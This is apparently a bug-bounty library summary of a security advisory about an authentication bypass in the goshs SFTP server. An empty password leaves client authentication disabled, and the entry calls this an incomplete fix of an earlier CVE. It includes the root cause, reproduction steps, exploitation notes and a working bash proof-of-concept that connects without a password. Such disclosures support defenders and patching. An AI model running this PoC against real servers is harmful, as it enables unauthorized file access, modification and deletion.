# goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)

goshs v2.1.3 SFTP with `-b 'admin:'` leaves password empty, so gliderlabs/ssh sets NoClientAuth and grants unauthenticated file read/write/delete.

- Payout: Research
- Severity: critical
- Program: goshs
- Found by: yukikamome316
- Disclosed: 2026-07-28
- CVE: CVE-2026-62325
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rjrw-mjq6-hpmm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rjrw-mjq6-hpmm
- Tags: area:devices domain:network impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:misconfiguration

**Target:** SFTP server (gliderlabs/ssh) in goshs CLI
**Root cause:** `sftpserver.go:85` guards handler installation with `s.Username != "" && s.Password != ""`, so an empty password skips PasswordHandler; with no `-fkf` PublicKeyHandler is also nil, and gliderlabs/ssh sets NoClientAuth=true. The prior CVE-2026-40884 fix only validated empty usernames via `HasPrefix(":")`, leaving the `&&` root cause intact.
**Steps:**
1. Start server: `goshs -b 'admin:' -sftp` (no `-fkf`)
2. Run PoC: `echo "ls -la /" | sftp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=none,password -o PubkeyAuthentication=no -P 2121 -b - admin@127.0.0.1`
3. Observe connection succeeds without password, granting SFTP file access
**How found:** Reporter recognized that the CVE-2026-40884 patch added only a `HasPrefix(":")` sanity check for empty usernames while the underlying `&&` condition at sftpserver.go:85 remained, then tested the symmetric empty-password input `-b 'admin:'`.
**Exploitation:** Attacker connects to the exposed SFTP port with any username matching the configured one and no password; NoClientAuth grants a session allowing read, write, delete and rename of files.
**Insight:** When a patch adds input validation instead of fixing the faulty boolean/handler-installation logic, enumerate the other operand of the same condition (here empty password vs empty username) — the unpatched root cause usually admits a sibling input.

## Proof of concept (copied exactly from the original report)

**Bash PoC connecting to SFTP without password**

```
#!/usr/bin/env bash
set -euo pipefail

HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=none,password \
  -o PubkeyAuthentication=no \
  -P "$PORT" -b - admin@"$HOST" 2>&1 && \
  echo "[+] VULNERABLE: Connected without password!" || \
  echo "[-] Connection failed (patched or not running)"
```